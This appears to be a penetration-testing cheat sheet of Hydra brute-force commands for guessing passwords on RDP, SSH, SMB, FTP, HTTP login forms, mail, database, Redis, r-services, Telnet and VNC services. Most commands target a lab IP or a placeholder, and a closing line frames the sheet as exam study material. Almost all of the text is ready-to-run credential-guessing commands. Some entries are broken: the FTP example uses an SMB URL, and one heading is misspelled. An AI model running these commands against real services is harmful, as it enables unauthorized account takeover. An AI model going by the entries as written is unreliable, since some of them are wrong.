



Hydra Cheat Sheet

GUI

xhydra

RDP

```
hydra -v -f -L usernames.txt -P passwords.txt rdp://10.0.2.5 -v
```

SSH

```
hydra -l root -P passwords.txt -f ssh://10.0.2.5 -v
```

SMB

```
hydra -l Administrator -P passwords.txt -f smb://10.0.2.5 -v
```

FTP

```
hydra -l root -P passwords.txt -f smb://10.0.2.5 -v
```

HTTP Basic Auth

```
hydra -L users.txt -P password.txt 10.0.2.5 http-get /login/ -v
```

HTTP Post

```
hydra -L users.txt -P password.txt 10.0.2.5 http-post-form  
"/path/index.php:name=^USER^&password=^PASS^&enter=Sign+in:Login  
name or password is incorrect" -v
```

IMAP

```
hydra -l root -P passwords.txt -f imap://10.0.2.5 -v
```

MySQL

```
hydra -L usernames.txt -P pass.txt -f mysql://10.0.2.5 -v
```

POP

```
hydra -l USERNAME -P passwords.txt -f pop3://10.0.2.5 -v
```

Redis

```
hydra -P password.txt redis://10.0.2.5 -v
```

Rexec

```
hydra -l root -P password.txt rexec://10.0.2.5 -v
```

Rlogin

```
hydra -l root -P password.txt rlogin://10.0.2.5 -v
```

RSH

```
hydra -L username.txt rsh://10.0.2.5 -v
```

Disclaimer – This cheat sheet was created to help people with exams. It is not for the purposes of hacking public infrastructure.



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RSP

```
hydra -l root -P passwords.txt <IP> rtsp
```

SMTP

```
hydra -l <username> -P /path/to/passwords.txt <IP> smtp -V
```

```
hydra -l <username> -P /path/to/passwords.txt -s 587 <IP> -S -v -V  
#Port 587 for SMTP with SSL
```

Telnet

```
hydra -l root -P passwords.txt [-t 32] <IP> telnet
```

VNC

```
hydra -L /root/Desktop/user.txt -P /root/Desktop/pass.txt -s <PORT>  
<IP> vnc
```

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